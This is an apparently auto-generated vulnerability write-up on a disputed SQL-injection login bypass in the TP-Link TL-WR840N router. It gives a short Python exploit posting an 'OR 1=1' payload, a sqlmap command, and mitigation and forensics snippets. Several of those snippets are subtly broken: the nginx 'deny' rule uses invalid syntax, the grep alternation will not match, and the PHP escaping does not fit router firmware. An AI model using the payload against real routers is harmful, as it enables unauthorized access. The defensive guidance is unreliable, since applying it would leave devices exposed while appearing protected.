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How CVE-2025-29649 Works
The CVE-2025-29649 vulnerability in TP-Link TL-WR840N (v1.0) allows unauthenticated SQL injection via the login dashboard. Attackers craft malicious SQL queries in the username/password fields, bypassing authentication. The router fails to sanitize input, allowing execution of arbitrary SQL commands. This can lead to admin credential theft, configuration manipulation, or full device compromise. The vulnerability is disputed as it was only reproduced on a supplier-provided emulator lacking access controls. However, real-world exploitation remains possible if similar conditions exist in production firmware.
DailyCVE Form
Platform: TP-Link TL-WR840N
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/24/2025
What Undercode Say:
Exploitation:
import requests
target = "http://192.168.0.1/login"
payload = "admin' OR '1'='1'--"
data = {"username": payload, "password": "any"}
response = requests.post(target, data=data)
if "Dashboard" in response.text:
print("[+] Exploit successful")
Detection:
sqlmap -u "http://192.168.0.1/login" --data="username=test&password=test" --risk=3
Mitigation:
1. Apply firmware patch from TP-Link.
2. Implement WAF rules blocking SQLi patterns:
location /login {
deny '|union|select|from|where|--';
}
3. Input sanitization code fix:
$username = mysqli_real_escape_string($conn, $_POST['username']); $password = mysqli_real_escape_string($conn, $_POST['password']);
Log Analysis:
grep -E "union|select|'" /var/log/router_access.log
Network Protection:
iptables -A INPUT -p tcp --dport 80 -m string --string "UNION" --algo bm -j DROP
Forensics:
1. Check router config backups for tampering:
diff /etc/config/backup.conf /etc/config/current.conf
2. Extract SQL logs:
strings /dev/mtdblock3 | grep "SELECT|INSERT"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
